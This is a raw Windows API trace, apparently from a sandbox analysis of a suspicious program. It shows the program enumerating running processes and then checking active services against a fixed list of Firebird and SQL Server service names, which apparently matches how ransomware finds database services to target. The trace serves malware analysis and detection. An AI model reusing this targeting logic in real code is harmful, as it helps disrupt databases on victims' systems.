	[0087.638] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0087.639] lstrlenW (lpString="svchost.exe") returned 11
	[0087.639] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0087.640] lstrlenW (lpString="svchost.exe") returned 11
	[0087.640] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0087.644] lstrlenW (lpString="svchost.exe") returned 11
	[0087.644] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0087.645] lstrlenW (lpString="audiodg.exe") returned 11
	[0087.645] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0087.646] lstrlenW (lpString="svchost.exe") returned 11
	[0087.646] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0087.647] lstrlenW (lpString="svchost.exe") returned 11
	[0087.647] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0087.648] lstrlenW (lpString="dwm.exe") returned 7
	[0087.648] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0087.649] lstrlenW (lpString="explorer.exe") returned 12
	[0087.649] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0087.650] lstrlenW (lpString="spoolsv.exe") returned 11
	[0087.650] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0087.651] lstrlenW (lpString="taskhost.exe") returned 12
	[0087.651] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0087.652] lstrlenW (lpString="svchost.exe") returned 11
	[0087.652] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0087.653] lstrlenW (lpString="taskeng.exe") returned 11
	[0087.653] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0087.654] lstrlenW (lpString="taskhost.exe") returned 12
	[0087.654] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="similarlyvaultsquirting.exe")) returned 1
	[0087.655] lstrlenW (lpString="similarlyvaultsquirting.exe") returned 27
	[0087.655] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wisdom-restaurant.exe")) returned 1
	[0087.656] lstrlenW (lpString="wisdom-restaurant.exe") returned 21
	[0087.656] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="zoo.exe")) returned 1
	[0087.657] lstrlenW (lpString="zoo.exe") returned 7
	[0087.657] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formula-graduates.exe")) returned 1
	[0087.658] lstrlenW (lpString="formula-graduates.exe") returned 21
	[0087.658] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="determined.exe")) returned 1
	[0087.659] lstrlenW (lpString="determined.exe") returned 14
	[0087.659] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expressreflectmovement.exe")) returned 1
	[0087.660] lstrlenW (lpString="expressreflectmovement.exe") returned 26
	[0087.660] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hansen mails.exe")) returned 1
	[0087.661] lstrlenW (lpString="hansen mails.exe") returned 16
	[0087.661] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="choirsas.exe")) returned 1
	[0087.662] lstrlenW (lpString="choirsas.exe") returned 12
	[0087.662] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="skirt_races.exe")) returned 1
	[0087.663] lstrlenW (lpString="skirt_races.exe") returned 15
	[0087.663] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="actors_radius.exe")) returned 1
	[0087.664] lstrlenW (lpString="actors_radius.exe") returned 17
	[0087.664] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="scheduling.exe")) returned 1
	[0087.665] lstrlenW (lpString="scheduling.exe") returned 14
	[0087.665] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="michael.exe")) returned 1
	[0087.666] lstrlenW (lpString="michael.exe") returned 11
	[0087.666] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="worldcatcommonwealth.exe")) returned 1
	[0087.667] lstrlenW (lpString="worldcatcommonwealth.exe") returned 24
	[0087.667] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pleasure.exe")) returned 1
	[0087.671] lstrlenW (lpString="pleasure.exe") returned 12
	[0087.671] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering_subsidiary.exe")) returned 1
	[0087.672] lstrlenW (lpString="entering_subsidiary.exe") returned 23
	[0087.672] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="electron.exe")) returned 1
	[0087.673] lstrlenW (lpString="electron.exe") returned 12
	[0087.673] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="eligible-terry-procedures.exe")) returned 1
	[0087.674] lstrlenW (lpString="eligible-terry-procedures.exe") returned 29
	[0087.674] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="telling-copper-couples.exe")) returned 1
	[0087.675] lstrlenW (lpString="telling-copper-couples.exe") returned 26
	[0087.675] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rolled midlands.exe")) returned 1
	[0087.676] lstrlenW (lpString="rolled midlands.exe") returned 19
	[0087.676] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pointer.exe")) returned 1
	[0087.677] lstrlenW (lpString="pointer.exe") returned 11
	[0087.677] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gd logos.exe")) returned 1
	[0087.678] lstrlenW (lpString="gd logos.exe") returned 12
	[0087.678] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="algebra validity.exe")) returned 1
	[0087.679] lstrlenW (lpString="algebra validity.exe") returned 20
	[0087.679] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="drunk_opinion.exe")) returned 1
	[0087.680] lstrlenW (lpString="drunk_opinion.exe") returned 17
	[0087.680] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0087.681] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0087.681] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0087.682] lstrlenW (lpString="dllhost.exe") returned 11
	[0087.682] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0087.972] lstrlenW (lpString="dllhost.exe") returned 11
	[0087.972] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="p.exe")) returned 1
	[0087.973] lstrlenW (lpString="p.exe") returned 5
	[0087.973] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0087.974] lstrlenW (lpString="cmd.exe") returned 7
	[0087.974] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0087.975] lstrlenW (lpString="conhost.exe") returned 11
	[0087.975] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa4c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0087.977] lstrlenW (lpString="mode.com") returned 8
	[0087.977] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa4c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0
	[0087.978] CloseHandle (hObject=0x14c) returned 1
	[0087.978] Sleep (dwMilliseconds=0x1f4) 
	[0089.288] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35d0808
	[0089.288] EnumServicesStatusExW (in: hSCManager=0x35d0808, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0) returned 0
	[0089.288] GetLastError () returned 0xea
	[0089.288] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x11e4) returned 0x3ec06d8
	[0089.289] EnumServicesStatusExW (in: hSCManager=0x35d0808, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3ec06d8, cbBufSize=0x11e4, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3ec06d8, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0) returned 1
	[0089.289] CloseServiceHandle (hSCObject=0x35d0808) returned 1
	[0089.290] lstrlenW (lpString="Appinfo") returned 7
	[0089.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0089.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0089.290] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0089.290] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0089.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0089.290] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0089.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0089.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0089.290] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0089.290] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0089.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0089.290] lstrlenW (lpString="AudioSrv") returned 8
	[0089.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0089.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0089.290] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0089.291] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0089.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0089.291] lstrlenW (lpString="BFE") returned 3
	[0089.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0089.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0089.291] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0089.291] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0089.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0089.291] lstrlenW (lpString="CryptSvc") returned 8
	[0089.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0089.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0089.291] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0089.291] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0089.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0089.291] lstrlenW (lpString="CscService") returned 10
	[0089.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0089.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0089.292] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0089.292] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0089.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0089.292] lstrlenW (lpString="DcomLaunch") returned 10
	[0089.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0089.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0089.292] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0089.292] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0089.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0089.292] lstrlenW (lpString="Dhcp") returned 4
	[0089.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0089.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0089.292] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0089.292] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0089.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0089.292] lstrlenW (lpString="Dnscache") returned 8
	[0089.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0089.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0089.293] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0089.293] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0089.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0089.293] lstrlenW (lpString="DPS") returned 3
	[0089.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0089.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0089.293] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0089.293] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0089.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0089.293] lstrlenW (lpString="eventlog") returned 8
	[0089.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0089.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0089.293] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0089.293] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0089.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0089.293] lstrlenW (lpString="EventSystem") returned 11
	[0089.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0089.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0089.294] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0089.294] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0089.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0089.294] lstrlenW (lpString="gpsvc") returned 5
	[0089.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0089.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0089.294] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0089.294] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0089.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0089.294] lstrlenW (lpString="iphlpsvc") returned 8
	[0089.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0089.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0089.296] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0089.296] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0089.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0089.296] lstrlenW (lpString="LanmanServer") returned 12
	[0089.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0089.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0089.296] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0089.297] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0089.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0089.297] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0089.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0089.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0089.300] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0089.300] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0089.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0089.300] lstrlenW (lpString="lmhosts") returned 7
	[0089.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0089.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0089.300] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0089.300] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0089.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0089.301] lstrlenW (lpString="MMCSS") returned 5
	[0089.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0089.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0089.301] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0089.301] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0089.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0089.301] lstrlenW (lpString="MpsSvc") returned 6
	[0089.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
